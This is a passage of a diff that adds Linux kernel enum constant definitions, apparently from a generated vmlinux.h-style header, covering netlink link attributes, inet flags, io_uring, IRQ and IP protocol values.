42, + IFLA_BRPORT_NEIGH_VLAN_SUPPRESS = 43, + IFLA_BRPORT_BACKUP_NHID = 44, + __IFLA_BRPORT_MAX = 45, +}; + +enum { + IFLA_BR_UNSPEC = 0, + IFLA_BR_FORWARD_DELAY = 1, + IFLA_BR_HELLO_TIME = 2, + IFLA_BR_MAX_AGE = 3, + IFLA_BR_AGEING_TIME = 4, + IFLA_BR_STP_STATE = 5, + IFLA_BR_PRIORITY = 6, + IFLA_BR_VLAN_FILTERING = 7, + IFLA_BR_VLAN_PROTOCOL = 8, + IFLA_BR_GROUP_FWD_MASK = 9, + IFLA_BR_ROOT_ID = 10, + IFLA_BR_BRIDGE_ID = 11, + IFLA_BR_ROOT_PORT = 12, + IFLA_BR_ROOT_PATH_COST = 13, + IFLA_BR_TOPOLOGY_CHANGE = 14, + IFLA_BR_TOPOLOGY_CHANGE_DETECTED = 15, + IFLA_BR_HELLO_TIMER = 16, + IFLA_BR_TCN_TIMER = 17, + IFLA_BR_TOPOLOGY_CHANGE_TIMER = 18, + IFLA_BR_GC_TIMER = 19, + IFLA_BR_GROUP_ADDR = 20, + IFLA_BR_FDB_FLUSH = 21, + IFLA_BR_MCAST_ROUTER = 22, + IFLA_BR_MCAST_SNOOPING = 23, + IFLA_BR_MCAST_QUERY_USE_IFADDR = 24, + IFLA_BR_MCAST_QUERIER = 25, + IFLA_BR_MCAST_HASH_ELASTICITY = 26, + IFLA_BR_MCAST_HASH_MAX = 27, + IFLA_BR_MCAST_LAST_MEMBER_CNT = 28, + IFLA_BR_MCAST_STARTUP_QUERY_CNT = 29, + IFLA_BR_MCAST_LAST_MEMBER_INTVL = 30, + IFLA_BR_MCAST_MEMBERSHIP_INTVL = 31, + IFLA_BR_MCAST_QUERIER_INTVL = 32, + IFLA_BR_MCAST_QUERY_INTVL = 33, + IFLA_BR_MCAST_QUERY_RESPONSE_INTVL = 34, + IFLA_BR_MCAST_STARTUP_QUERY_INTVL = 35, + IFLA_BR_NF_CALL_IPTABLES = 36, + IFLA_BR_NF_CALL_IP6TABLES = 37, + IFLA_BR_NF_CALL_ARPTABLES = 38, + IFLA_BR_VLAN_DEFAULT_PVID = 39, + IFLA_BR_PAD = 40, + IFLA_BR_VLAN_STATS_ENABLED = 41, + IFLA_BR_MCAST_STATS_ENABLED = 42, + IFLA_BR_MCAST_IGMP_VERSION = 43, + IFLA_BR_MCAST_MLD_VERSION = 44, + IFLA_BR_VLAN_STATS_PER_PORT = 45, + IFLA_BR_MULTI_BOOLOPT = 46, + IFLA_BR_MCAST_QUERIER_STATE = 47, + IFLA_BR_FDB_N_LEARNED = 48, + IFLA_BR_FDB_MAX_LEARNED = 49, + __IFLA_BR_MAX = 50, +}; + +enum { + IFLA_EVENT_NONE = 0, + IFLA_EVENT_REBOOT = 1, + IFLA_EVENT_FEATURES = 2, + IFLA_EVENT_BONDING_FAILOVER = 3, + IFLA_EVENT_NOTIFY_PEERS = 4, + IFLA_EVENT_IGMP_RESEND = 5, + IFLA_EVENT_BONDING_OPTIONS = 6, +}; + +enum { + IFLA_INET6_UNSPEC = 0, + IFLA_INET6_FLAGS = 1, + IFLA_INET6_CONF = 2, + IFLA_INET6_STATS = 3, + IFLA_INET6_MCAST = 4, + IFLA_INET6_CACHEINFO = 5, + IFLA_INET6_ICMP6STATS = 6, + IFLA_INET6_TOKEN = 7, + IFLA_INET6_ADDR_GEN_MODE = 8, + IFLA_INET6_RA_MTU = 9, + __IFLA_INET6_MAX = 10, +}; + +enum { + IFLA_INET_UNSPEC = 0, + IFLA_INET_CONF = 1, + __IFLA_INET_MAX = 2, +}; + +enum { + IFLA_INFO_UNSPEC = 0, + IFLA_INFO_KIND = 1, + IFLA_INFO_DATA = 2, + IFLA_INFO_XSTATS = 3, + IFLA_INFO_SLAVE_KIND = 4, + IFLA_INFO_SLAVE_DATA = 5, + __IFLA_INFO_MAX = 6, +}; + +enum { + IFLA_IPTUN_UNSPEC = 0, + IFLA_IPTUN_LINK = 1, + IFLA_IPTUN_LOCAL = 2, + IFLA_IPTUN_REMOTE = 3, + IFLA_IPTUN_TTL = 4, + IFLA_IPTUN_TOS = 5, + IFLA_IPTUN_ENCAP_LIMIT = 6, + IFLA_IPTUN_FLOWINFO = 7, + IFLA_IPTUN_FLAGS = 8, + IFLA_IPTUN_PROTO = 9, + IFLA_IPTUN_PMTUDISC = 10, + IFLA_IPTUN_6RD_PREFIX = 11, + IFLA_IPTUN_6RD_RELAY_PREFIX = 12, + IFLA_IPTUN_6RD_PREFIXLEN = 13, + IFLA_IPTUN_6RD_RELAY_PREFIXLEN = 14, + IFLA_IPTUN_ENCAP_TYPE = 15, + IFLA_IPTUN_ENCAP_FLAGS = 16, + IFLA_IPTUN_ENCAP_SPORT = 17, + IFLA_IPTUN_ENCAP_DPORT = 18, + IFLA_IPTUN_COLLECT_METADATA = 19, + IFLA_IPTUN_FWMARK = 20, + __IFLA_IPTUN_MAX = 21, +}; + +enum { + IFLA_OFFLOAD_XSTATS_HW_S_INFO_UNSPEC = 0, + IFLA_OFFLOAD_XSTATS_HW_S_INFO_REQUEST = 1, + IFLA_OFFLOAD_XSTATS_HW_S_INFO_USED = 2, + __IFLA_OFFLOAD_XSTATS_HW_S_INFO_MAX = 3, +}; + +enum { + IFLA_OFFLOAD_XSTATS_UNSPEC = 0, + IFLA_OFFLOAD_XSTATS_CPU_HIT = 1, + IFLA_OFFLOAD_XSTATS_HW_S_INFO = 2, + IFLA_OFFLOAD_XSTATS_L3_STATS = 3, + __IFLA_OFFLOAD_XSTATS_MAX = 4, +}; + +enum { + IFLA_PORT_UNSPEC = 0, + IFLA_PORT_VF = 1, + IFLA_PORT_PROFILE = 2, + IFLA_PORT_VSI_TYPE = 3, + IFLA_PORT_INSTANCE_UUID = 4, + IFLA_PORT_HOST_UUID = 5, + IFLA_PORT_REQUEST = 6, + IFLA_PORT_RESPONSE = 7, + __IFLA_PORT_MAX = 8, +}; + +enum { + IFLA_PROTO_DOWN_REASON_UNSPEC = 0, + IFLA_PROTO_DOWN_REASON_MASK = 1, + IFLA_PROTO_DOWN_REASON_VALUE = 2, + __IFLA_PROTO_DOWN_REASON_CNT = 3, + IFLA_PROTO_DOWN_REASON_MAX = 2, +}; + +enum { + IFLA_STATS_GETSET_UNSPEC = 0, + IFLA_STATS_GET_FILTERS = 1, + IFLA_STATS_SET_OFFLOAD_XSTATS_L3_STATS = 2, + __IFLA_STATS_GETSET_MAX = 3, +}; + +enum { + IFLA_STATS_UNSPEC = 0, + IFLA_STATS_LINK_64 = 1, + IFLA_STATS_LINK_XSTATS = 2, + IFLA_STATS_LINK_XSTATS_SLAVE = 3, + IFLA_STATS_LINK_OFFLOAD_XSTATS = 4, + IFLA_STATS_AF_SPEC = 5, + __IFLA_STATS_MAX = 6, +}; + +enum { + IFLA_UNSPEC = 0, + IFLA_ADDRESS = 1, + IFLA_BROADCAST = 2, + IFLA_IFNAME = 3, + IFLA_MTU = 4, + IFLA_LINK = 5, + IFLA_QDISC = 6, + IFLA_STATS = 7, + IFLA_COST = 8, + IFLA_PRIORITY = 9, + IFLA_MASTER = 10, + IFLA_WIRELESS = 11, + IFLA_PROTINFO = 12, + IFLA_TXQLEN = 13, + IFLA_MAP = 14, + IFLA_WEIGHT = 15, + IFLA_OPERSTATE = 16, + IFLA_LINKMODE = 17, + IFLA_LINKINFO = 18, + IFLA_NET_NS_PID = 19, + IFLA_IFALIAS = 20, + IFLA_NUM_VF = 21, + IFLA_VFINFO_LIST = 22, + IFLA_STATS64 = 23, + IFLA_VF_PORTS = 24, + IFLA_PORT_SELF = 25, + IFLA_AF_SPEC = 26, + IFLA_GROUP = 27, + IFLA_NET_NS_FD = 28, + IFLA_EXT_MASK = 29, + IFLA_PROMISCUITY = 30, + IFLA_NUM_TX_QUEUES = 31, + IFLA_NUM_RX_QUEUES = 32, + IFLA_CARRIER = 33, + IFLA_PHYS_PORT_ID = 34, + IFLA_CARRIER_CHANGES = 35, + IFLA_PHYS_SWITCH_ID = 36, + IFLA_LINK_NETNSID = 37, + IFLA_PHYS_PORT_NAME = 38, + IFLA_PROTO_DOWN = 39, + IFLA_GSO_MAX_SEGS = 40, + IFLA_GSO_MAX_SIZE = 41, + IFLA_PAD = 42, + IFLA_XDP = 43, + IFLA_EVENT = 44, + IFLA_NEW_NETNSID = 45, + IFLA_IF_NETNSID = 46, + IFLA_TARGET_NETNSID = 46, + IFLA_CARRIER_UP_COUNT = 47, + IFLA_CARRIER_DOWN_COUNT = 48, + IFLA_NEW_IFINDEX = 49, + IFLA_MIN_MTU = 50, + IFLA_MAX_MTU = 51, + IFLA_PROP_LIST = 52, + IFLA_ALT_IFNAME = 53, + IFLA_PERM_ADDRESS = 54, + IFLA_PROTO_DOWN_REASON = 55, + IFLA_PARENT_DEV_NAME = 56, + IFLA_PARENT_DEV_BUS_NAME = 57, + IFLA_GRO_MAX_SIZE = 58, + IFLA_TSO_MAX_SIZE = 59, + IFLA_TSO_MAX_SEGS = 60, + IFLA_ALLMULTI = 61, + IFLA_DEVLINK_PORT = 62, + IFLA_GSO_IPV4_MAX_SIZE = 63, + IFLA_GRO_IPV4_MAX_SIZE = 64, + IFLA_DPLL_PIN = 65, + __IFLA_MAX = 66, +}; + +enum { + IFLA_VF_INFO_UNSPEC = 0, + IFLA_VF_INFO = 1, + __IFLA_VF_INFO_MAX = 2, +}; + +enum { + IFLA_VF_PORT_UNSPEC = 0, + IFLA_VF_PORT = 1, + __IFLA_VF_PORT_MAX = 2, +}; + +enum { + IFLA_VF_STATS_RX_PACKETS = 0, + IFLA_VF_STATS_TX_PACKETS = 1, + IFLA_VF_STATS_RX_BYTES = 2, + IFLA_VF_STATS_TX_BYTES = 3, + IFLA_VF_STATS_BROADCAST = 4, + IFLA_VF_STATS_MULTICAST = 5, + IFLA_VF_STATS_PAD = 6, + IFLA_VF_STATS_RX_DROPPED = 7, + IFLA_VF_STATS_TX_DROPPED = 8, + __IFLA_VF_STATS_MAX = 9, +}; + +enum { + IFLA_VF_UNSPEC = 0, + IFLA_VF_MAC = 1, + IFLA_VF_VLAN = 2, + IFLA_VF_TX_RATE = 3, + IFLA_VF_SPOOFCHK = 4, + IFLA_VF_LINK_STATE = 5, + IFLA_VF_RATE = 6, + IFLA_VF_RSS_QUERY_EN = 7, + IFLA_VF_STATS = 8, + IFLA_VF_TRUST = 9, + IFLA_VF_IB_NODE_GUID = 10, + IFLA_VF_IB_PORT_GUID = 11, + IFLA_VF_VLAN_LIST = 12, + IFLA_VF_BROADCAST = 13, + __IFLA_VF_MAX = 14, +}; + +enum { + IFLA_VF_VLAN_INFO_UNSPEC = 0, + IFLA_VF_VLAN_INFO = 1, + __IFLA_VF_VLAN_INFO_MAX = 2, +}; + +enum { + IFLA_XDP_UNSPEC = 0, + IFLA_XDP_FD = 1, + IFLA_XDP_ATTACHED = 2, + IFLA_XDP_FLAGS = 3, + IFLA_XDP_PROG_ID = 4, + IFLA_XDP_DRV_PROG_ID = 5, + IFLA_XDP_SKB_PROG_ID = 6, + IFLA_XDP_HW_PROG_ID = 7, + IFLA_XDP_EXPECTED_FD = 8, + __IFLA_XDP_MAX = 9, +}; + +enum { + IF_ACT_NONE = -1, + IF_ACT_FILTER = 0, + IF_ACT_START = 1, + IF_ACT_STOP = 2, + IF_SRC_FILE = 3, + IF_SRC_KERNEL = 4, + IF_SRC_FILEADDR = 5, + IF_SRC_KERNELADDR = 6, +}; + +enum { + IF_COMB_AP = 0, + NUM_IF_COMB = 1, +}; + +enum { + IF_LINK_MODE_DEFAULT = 0, + IF_LINK_MODE_DORMANT = 1, + IF_LINK_MODE_TESTING = 2, +}; + +enum { + IF_OPER_UNKNOWN = 0, + IF_OPER_NOTPRESENT = 1, + IF_OPER_DOWN = 2, + IF_OPER_LOWERLAYERDOWN = 3, + IF_OPER_TESTING = 4, + IF_OPER_DORMANT = 5, + IF_OPER_UP = 6, +}; + +enum { + IF_STATE_ACTION = 0, + IF_STATE_SOURCE = 1, + IF_STATE_END = 2, +}; + +enum { + IIO_TOPOLOGY_TYPE = 0, + UPI_TOPOLOGY_TYPE = 1, + TOPOLOGY_MAX = 2, +}; + +enum { + INET6_IFADDR_STATE_PREDAD = 0, + INET6_IFADDR_STATE_DAD = 1, + INET6_IFADDR_STATE_POSTDAD = 2, + INET6_IFADDR_STATE_ERRDAD = 3, + INET6_IFADDR_STATE_DEAD = 4, +}; + +enum { + INET_ECN_NOT_ECT = 0, + INET_ECN_ECT_1 = 1, + INET_ECN_ECT_0 = 2, + INET_ECN_CE = 3, + INET_ECN_MASK = 3, +}; + +enum { + INET_FLAGS_PKTINFO = 0, + INET_FLAGS_TTL = 1, + INET_FLAGS_TOS = 2, + INET_FLAGS_RECVOPTS = 3, + INET_FLAGS_RETOPTS = 4, + INET_FLAGS_PASSSEC = 5, + INET_FLAGS_ORIGDSTADDR = 6, + INET_FLAGS_CHECKSUM = 7, + INET_FLAGS_RECVFRAGSIZE = 8, + INET_FLAGS_RECVERR = 9, + INET_FLAGS_RECVERR_RFC4884 = 10, + INET_FLAGS_FREEBIND = 11, + INET_FLAGS_HDRINCL = 12, + INET_FLAGS_MC_LOOP = 13, + INET_FLAGS_MC_ALL = 14, + INET_FLAGS_TRANSPARENT = 15, + INET_FLAGS_IS_ICSK = 16, + INET_FLAGS_NODEFRAG = 17, + INET_FLAGS_BIND_ADDRESS_NO_PORT = 18, + INET_FLAGS_DEFER_CONNECT = 19, + INET_FLAGS_MC6_LOOP = 20, + INET_FLAGS_RECVERR6_RFC4884 = 21, + INET_FLAGS_MC6_ALL = 22, + INET_FLAGS_AUTOFLOWLABEL_SET = 23, + INET_FLAGS_AUTOFLOWLABEL = 24, + INET_FLAGS_DONTFRAG = 25, + INET_FLAGS_RECVERR6 = 26, + INET_FLAGS_REPFLOW = 27, + INET_FLAGS_RTALERT_ISOLATE = 28, + INET_FLAGS_SNDFLOW = 29, + INET_FLAGS_RTALERT = 30, +}; + +enum { + INET_FRAG_FIRST_IN = 1, + INET_FRAG_LAST_IN = 2, + INET_FRAG_COMPLETE = 4, + INET_FRAG_HASH_DEAD = 8, + INET_FRAG_DROP = 16, +}; + +enum { + INSN_F_FRAMENO_MASK = 7, + INSN_F_SPI_MASK = 63, + INSN_F_SPI_SHIFT = 3, + INSN_F_STACK_ACCESS = 512, +}; + +enum { + INVERT = 1, + PROCESS_AND = 2, + PROCESS_OR = 4, +}; + +enum { + IOAM6_ATTR_UNSPEC = 0, + IOAM6_ATTR_NS_ID = 1, + IOAM6_ATTR_NS_DATA = 2, + IOAM6_ATTR_NS_DATA_WIDE = 3, + IOAM6_ATTR_SC_ID = 4, + IOAM6_ATTR_SC_DATA = 5, + IOAM6_ATTR_SC_NONE = 6, + IOAM6_ATTR_PAD = 7, + __IOAM6_ATTR_MAX = 8, +}; + +enum { + IOAM6_CMD_UNSPEC = 0, + IOAM6_CMD_ADD_NAMESPACE = 1, + IOAM6_CMD_DEL_NAMESPACE = 2, + IOAM6_CMD_DUMP_NAMESPACES = 3, + IOAM6_CMD_ADD_SCHEMA = 4, + IOAM6_CMD_DEL_SCHEMA = 5, + IOAM6_CMD_DUMP_SCHEMAS = 6, + IOAM6_CMD_NS_SET_SCHEMA = 7, + __IOAM6_CMD_MAX = 8, +}; + +enum { + IOBL_BUF_RING = 1, + IOBL_MMAP = 2, + IOBL_INC = 4, +}; + +enum { + IOCB_CMD_PREAD = 0, + IOCB_CMD_PWRITE = 1, + IOCB_CMD_FSYNC = 2, + IOCB_CMD_FDSYNC = 3, + IOCB_CMD_POLL = 5, + IOCB_CMD_NOOP = 6, + IOCB_CMD_PREADV = 7, + IOCB_CMD_PWRITEV = 8, +}; + +enum { + IOPRIO_CLASS_NONE = 0, + IOPRIO_CLASS_RT = 1, + IOPRIO_CLASS_BE = 2, + IOPRIO_CLASS_IDLE = 3, + IOPRIO_CLASS_INVALID = 7, +}; + +enum { + IOPRIO_HINT_NONE = 0, + IOPRIO_HINT_DEV_DURATION_LIMIT_1 = 1, + IOPRIO_HINT_DEV_DURATION_LIMIT_2 = 2, + IOPRIO_HINT_DEV_DURATION_LIMIT_3 = 3, + IOPRIO_HINT_DEV_DURATION_LIMIT_4 = 4, + IOPRIO_HINT_DEV_DURATION_LIMIT_5 = 5, + IOPRIO_HINT_DEV_DURATION_LIMIT_6 = 6, + IOPRIO_HINT_DEV_DURATION_LIMIT_7 = 7, +}; + +enum { + IOPRIO_WHO_PROCESS = 1, + IOPRIO_WHO_PGRP = 2, + IOPRIO_WHO_USER = 3, +}; + +enum { + IORES_DESC_NONE = 0, + IORES_DESC_CRASH_KERNEL = 1, + IORES_DESC_ACPI_TABLES = 2, + IORES_DESC_ACPI_NV_STORAGE = 3, + IORES_DESC_PERSISTENT_MEMORY = 4, + IORES_DESC_PERSISTENT_MEMORY_LEGACY = 5, + IORES_DESC_DEVICE_PRIVATE_MEMORY = 6, + IORES_DESC_RESERVED = 7, + IORES_DESC_SOFT_RESERVED = 8, + IORES_DESC_CXL = 9, +}; + +enum { + IORES_MAP_SYSTEM_RAM = 1, + IORES_MAP_ENCRYPTED = 2, +}; + +enum { + IORING_REGISTER_SRC_REGISTERED = 1, +}; + +enum { + IORING_RSRC_FILE = 0, + IORING_RSRC_BUFFER = 1, +}; + +enum { + IOU_F_TWQ_LAZY_WAKE = 1, +}; + +enum { + IOU_OK = 0, + IOU_ISSUE_SKIP_COMPLETE = -529, + IOU_REQUEUE = -3072, + IOU_STOP_MULTISHOT = -125, +}; + +enum { + IOU_POLL_DONE = 0, + IOU_POLL_NO_ACTION = 1, + IOU_POLL_REMOVE_POLL_USE_RES = 2, + IOU_POLL_REISSUE = 3, + IOU_POLL_REQUEUE = 4, +}; + +enum { + IO_ACCT_STALLED_BIT = 0, +}; + +enum { + IO_APOLL_OK = 0, + IO_APOLL_ABORTED = 1, + IO_APOLL_READY = 2, +}; + +enum { + IO_CHECK_CQ_OVERFLOW_BIT = 0, + IO_CHECK_CQ_DROPPED_BIT = 1, +}; + +enum { + IO_EVENTFD_OP_SIGNAL_BIT = 0, +}; + +enum { + IO_SQ_THREAD_SHOULD_STOP = 0, + IO_SQ_THREAD_SHOULD_PARK = 1, +}; + +enum { + IO_TREE_FS_PINNED_EXTENTS = 0, + IO_TREE_FS_EXCLUDED_EXTENTS = 1, + IO_TREE_BTREE_INODE_IO = 2, + IO_TREE_INODE_IO = 3, + IO_TREE_RELOC_BLOCKS = 4, + IO_TREE_TRANS_DIRTY_PAGES = 5, + IO_TREE_ROOT_DIRTY_LOG_PAGES = 6, + IO_TREE_INODE_FILE_EXTENT = 7, + IO_TREE_LOG_CSUM_RANGE = 8, + IO_TREE_SELFTEST = 9, + IO_TREE_DEVICE_ALLOC_STATE = 10, +}; + +enum { + IO_WORKER_F_UP = 0, + IO_WORKER_F_RUNNING = 1, + IO_WORKER_F_FREE = 2, + IO_WORKER_F_BOUND = 3, +}; + +enum { + IO_WQ_ACCT_BOUND = 0, + IO_WQ_ACCT_UNBOUND = 1, + IO_WQ_ACCT_NR = 2, +}; + +enum { + IO_WQ_BIT_EXIT = 0, +}; + +enum { + IO_WQ_WORK_CANCEL = 1, + IO_WQ_WORK_HASHED = 2, + IO_WQ_WORK_UNBOUND = 4, + IO_WQ_WORK_CONCURRENT = 16, + IO_WQ_HASH_SHIFT = 24, +}; + +enum { + IP6T_HL_EQ = 0, + IP6T_HL_NE = 1, + IP6T_HL_LT = 2, + IP6T_HL_GT = 3, +}; + +enum { + IP6_FH_F_FRAG = 1, + IP6_FH_F_AUTH = 2, + IP6_FH_F_SKIP_RH = 4, +}; + +enum { + IPPROTO_IP = 0, + IPPROTO_ICMP = 1, + IPPROTO_IGMP = 2, + IPPROTO_IPIP = 4, + IPPROTO_TCP = 6, + IPPROTO_EGP = 8, + IPPROTO_PUP = 12, + IPPROTO_UDP = 17, + IPPROTO_IDP = 22, + IPPROTO_TP = 29, + IPPROTO_DCCP = 33, + IPPROTO_IPV6 = 41, + IPPROTO_RSVP = 46, + IPPROTO_GRE = 47, + IPPROTO_ESP = 50, + IPPROTO_AH = 51, + IPPROTO_MTP = 92, + IPPROTO_BEETPH = 94, + IPPROTO_ENCAP = 98, + IPPROTO_PIM = 103, + IPPROTO_COMP = 108, + IPPROTO_L2TP = 115, + IPPROTO_SCTP = 132, + IPPROTO_UDPLITE = 136, + IPPROTO_MPLS = 137, + IPPROTO_ETHERNET = 143, + IPPROTO_RAW = 255, + IPPROTO_SMC = 256, + IPPROTO_MPTCP = 262, + IPPROTO_MAX = 263, +}; + +enum { + IPSTATS_MIB_NUM = 0, + IPSTATS_MIB_INPKTS = 1, + IPSTATS_MIB_INOCTETS = 2, + IPSTATS_MIB_INDELIVERS = 3, + IPSTATS_MIB_OUTFORWDATAGRAMS = 4, + IPSTATS_MIB_OUTREQUESTS = 5, + IPSTATS_MIB_OUTOCTETS = 6, + IPSTATS_MIB_INHDRERRORS = 7, + IPSTATS_MIB_INTOOBIGERRORS = 8, + IPSTATS_MIB_INNOROUTES = 9, + IPSTATS_MIB_INADDRERRORS = 10, + IPSTATS_MIB_INUNKNOWNPROTOS = 11, + IPSTATS_MIB_INTRUNCATEDPKTS = 12, + IPSTATS_MIB_INDISCARDS = 13, + IPSTATS_MIB_OUTDISCARDS = 14, + IPSTATS_MIB_OUTNOROUTES = 15, + IPSTATS_MIB_REASMTIMEOUT = 16, + IPSTATS_MIB_REASMREQDS = 17, + IPSTATS_MIB_REASMOKS = 18, + IPSTATS_MIB_REASMFAILS = 19, + IPSTATS_MIB_FRAGOKS = 20, + IPSTATS_MIB_FRAGFAILS = 21, + IPSTATS_MIB_FRAGCREATES = 22, + IPSTATS_MIB_INMCASTPKTS = 23, + IPSTATS_MIB_OUTMCASTPKTS = 24, + IPSTATS_MIB_INBCASTPKTS = 25, + IPSTATS_MIB_OUTBCASTPKTS = 26, + IPSTATS_MIB_INMCASTOCTETS = 27, + IPSTATS_MIB_OUTMCASTOCTETS = 28, + IPSTATS_MIB_INBCASTOCTETS = 29, + IPSTATS_MIB_OUTBCASTOCTETS = 30, + IPSTATS_MIB_CSUMERRORS = 31, + IPSTATS_MIB_NOECTPKTS = 32, + IPSTATS_MIB_ECT1PKTS = 33, + IPSTATS_MIB_ECT0PKTS = 34, + IPSTATS_MIB_CEPKTS = 35, + IPSTATS_MIB_REASM_OVERLAPS = 36, + IPSTATS_MIB_OUTPKTS = 37, + __IPSTATS_MIB_MAX = 38, +}; + +enum { + IPT_TTL_EQ = 0, + IPT_TTL_NE = 1, + IPT_TTL_LT = 2, + IPT_TTL_GT = 3, +}; + +enum { + IPV4_DEVCONF_FORWARDING = 1, + IPV4_DEVCONF_MC_FORWARDING = 2, + IPV4_DEVCONF_PROXY_ARP = 3, + IPV4_DEVCONF_ACCEPT_REDIRECTS = 4, + IPV4_DEVCONF_SECURE_REDIRECTS = 5, + IPV4_DEVCONF_SEND_REDIRECTS = 6, + IPV4_DEVCONF_SHARED_MEDIA = 7, + IPV4_DEVCONF_RP_FILTER = 8, + IPV4_DEVCONF_ACCEPT_SOURCE_ROUTE = 9, + IPV4_DEVCONF_BOOTP_RELAY = 10, + IPV4_DEVCONF_LOG_MARTIANS = 11, + IPV4_DEVCONF_TAG = 12, + IPV4_DEVCONF_ARPFILTER = 13, + IPV4_DEVCONF_MEDIUM_ID = 14, + IPV4_DEVCONF_NOXFRM = 15, + IPV4_DEVCONF_NOPOLICY = 16, + IPV4_DEVCONF_FORCE_IGMP_VERSION = 17, + IPV4_DEVCONF_ARP_ANNOUNCE = 18, + IPV4_DEVCONF_ARP_IGNORE = 19, + IPV4_DEVCONF_PROMOTE_SECONDARIES = 20, + IPV4_DEVCONF_ARP_ACCEPT = 21, + IPV4_DEVCONF_ARP_NOTIFY = 22, + IPV4_DEVCONF_ACCEPT_LOCAL = 23, + IPV4_DEVCONF_SRC_VMARK = 24, + IPV4_DEVCONF_PROXY_ARP_PVLAN = 25, + IPV4_DEVCONF_ROUTE_LOCALNET = 26, + IPV4_DEVCONF_IGMPV2_UNSOLICITED_REPORT_INTERVAL = 27, + IPV4_DEVCONF_IGMPV3_UNSOLICITED_REPORT_INTERVAL = 28, + IPV4_DEVCONF_IGNORE_ROUTES_WITH_LINKDOWN = 29, + IPV4_DEVCONF_DROP_UNICAST_IN_L2_MULTICAST = 30, + IPV4_DEVCONF_DROP_GRATUITOUS_ARP = 31, + IPV4_DEVCONF_BC_FORWARDING = 32, + IPV4_DEVCONF_ARP_EVICT_NOCARRIER = 33, + __IPV4_DEVCONF_MAX = 34, +}; + +enum { + IPV6_SADDR_RULE_INIT = 0, + IPV6_SADDR_RULE_LOCAL = 1, + IPV6_SADDR_RULE_SCOPE = 2, + IPV6_SADDR_RULE_PREFERRED = 3, + IPV6_SADDR_RULE_OIF = 4, + IPV6_SADDR_RULE_LABEL = 5, + IPV6_SADDR_RULE_PRIVACY = 6, + IPV6_SADDR_RULE_ORCHID = 7, + IPV6_SADDR_RULE_PREFIX = 8, + IPV6_SADDR_RULE_MAX = 9, +}; + +enum { + IP_TUNNEL_CSUM_BIT = 0, + IP_TUNNEL_ROUTING_BIT = 1, + IP_TUNNEL_KEY_BIT = 2, + IP_TUNNEL_SEQ_BIT = 3, + IP_TUNNEL_STRICT_BIT = 4, + IP_TUNNEL_REC_BIT = 5, + IP_TUNNEL_VERSION_BIT = 6, + IP_TUNNEL_NO_KEY_BIT = 7, + IP_TUNNEL_DONT_FRAGMENT_BIT = 8, + IP_TUNNEL_OAM_BIT = 9, + IP_TUNNEL_CRIT_OPT_BIT = 10, + IP_TUNNEL_GENEVE_OPT_BIT = 11, + IP_TUNNEL_VXLAN_OPT_BIT = 12, + IP_TUNNEL_NOCACHE_BIT = 13, + IP_TUNNEL_ERSPAN_OPT_BIT = 14, + IP_TUNNEL_GTP_OPT_BIT = 15, + IP_TUNNEL_VTI_BIT = 16, + IP_TUNNEL_SIT_ISATAP_BIT = 16, + IP_TUNNEL_PFCP_OPT_BIT = 17, + __IP_TUNNEL_FLAG_NUM = 18, +}; + +enum { + IRQCHIP_FWNODE_REAL = 0, + IRQCHIP_FWNODE_NAMED = 1, + IRQCHIP_FWNODE_NAMED_ID = 2, +}; + +enum { + IRQCHIP_SET_TYPE_MASKED = 1, + IRQCHIP_EOI_IF_HANDLED = 2, + IRQCHIP_MASK_ON_SUSPEND = 4, + IRQCHIP_ONOFFLINE_ENABLED = 8, + IRQCHIP_SKIP_SET_WAKE = 16, + IRQCHIP_ONESHOT_SAFE = 32, + IRQCHIP_EOI_THREADED = 64, + IRQCHIP_SUPPORTS_LEVEL_MSI = 128, + IRQCHIP_SUPPORTS_NMI = 256, + IRQCHIP_ENABLE_WAKEUP_ON_SUSPEND = 512, + IRQCHIP_AFFINITY_PRE_STARTUP = 1024, + IRQCHIP_IMMUTABLE = 2048, +}; + +enum { + IRQC_IS_HARDIRQ = 0, + IRQC_IS_NESTED = 1, +}; + +enum { + IRQD_TRIGGER_MASK = 15, + IRQD_SETAFFINITY_PENDING = 256, + IRQD_ACTIVATED = 512, + IRQD_NO_BALANCING = 1024, + IRQD_PER_CPU = 2048, + IRQD_AFFINITY_SET = 4096, + IRQD_LEVEL = 8192, + IRQD_WAKEUP_STATE = 16384, + IRQD_MOVE_PCNTXT = 32768, + IRQD_IRQ_DISABLED = 65536, + IRQD_IRQ_MASKED = 131072, + IRQD_IRQ_INPROGRESS = 262144, + IRQD_WAKEUP_ARMED = 524288, + IRQD_FORWARDED_TO_VCPU = 1048576, + IRQD_AFFINITY_MANAGED = 2097152, + IRQD_IRQ_STARTED = 4194304, + IRQD_MANAGED_SHUTDOWN = 8388608, + IRQD_SINGLE_TARGET = 16777216, + IRQD_DEFAULT_TRIGGER_SET = 33554432, + IRQD_CAN_RESERVE = 67108864, + IRQD_HANDLE_ENFORCE_IRQCTX = 134217728, + IRQD_AFFINITY_ON_ACTIVATE = 268435456, + IRQD_IRQ_ENABLED_ON_SUSPEND = 536870912, + IRQD_RESEND_WHEN_IN_PROGRESS = 1073741824, +}; + +enum { + IRQS_AUTODETECT = 1, + IRQS_SPURIOUS_DISABLED = 2, + IRQS_POLL_INPROGRESS = 8, + IRQS_ONESHOT = 32, + IRQS_REPLAY = 64, + IRQS_WAITING = 128, + IRQS_PENDING = 512, + IRQS_SUSPENDED = 2048, + IRQS_TIMINGS = 4096, + IRQS_NMI = 8192, + IRQS_SYSFS = 16384, +}; + +enum { + IRQTF_RUNTHREAD = 0, + IRQTF_WARNED = 1, + IRQTF_AFFINITY = 2, + IRQTF_FORCED_THREAD = 3, + IRQTF_READY = 4, +}; + +enum { + IRQ_DOMAIN_FLAG_HIERARCHY = 1, + IRQ_DOMAIN_NAME_ALLOCATED = 2, + IRQ_DOMAIN_FLAG_IPI_PER_CPU = 4, + IRQ_DOMAIN_FLAG_IPI_SINGLE = 8, + IRQ_DOMAIN_FLAG_MSI = 16, + IRQ_DOMAIN_FLAG_ISOLATED_MSI = 32, + IRQ_DOMAIN_FLAG_NO_MAP = 64, + IRQ_DOMAIN_FLAG_MSI_PARENT = 256, + IRQ_DOMAIN_FLAG_MSI_DEVICE = 512, + IRQ_DOMAIN_FLAG_DESTROY_GC = 1024, + IRQ_DOMAIN_FLAG_NONCORE = 65536, +}; + +enum { + IRQ_SET_MASK_OK = 0, + IRQ_SET_MASK_OK_NOCOPY = 1, + IRQ_SET_MASK_OK_DONE = 2, +}; + +enum { + IRQ_STARTUP_NORMAL = 0, + IRQ_STARTUP_MANAGED = 1, + IRQ_STARTUP_ABORT = 2, +}; + +enum { + IRQ_TYPE_NONE = 0, + IRQ_TYPE_EDGE_RISING = 1, + 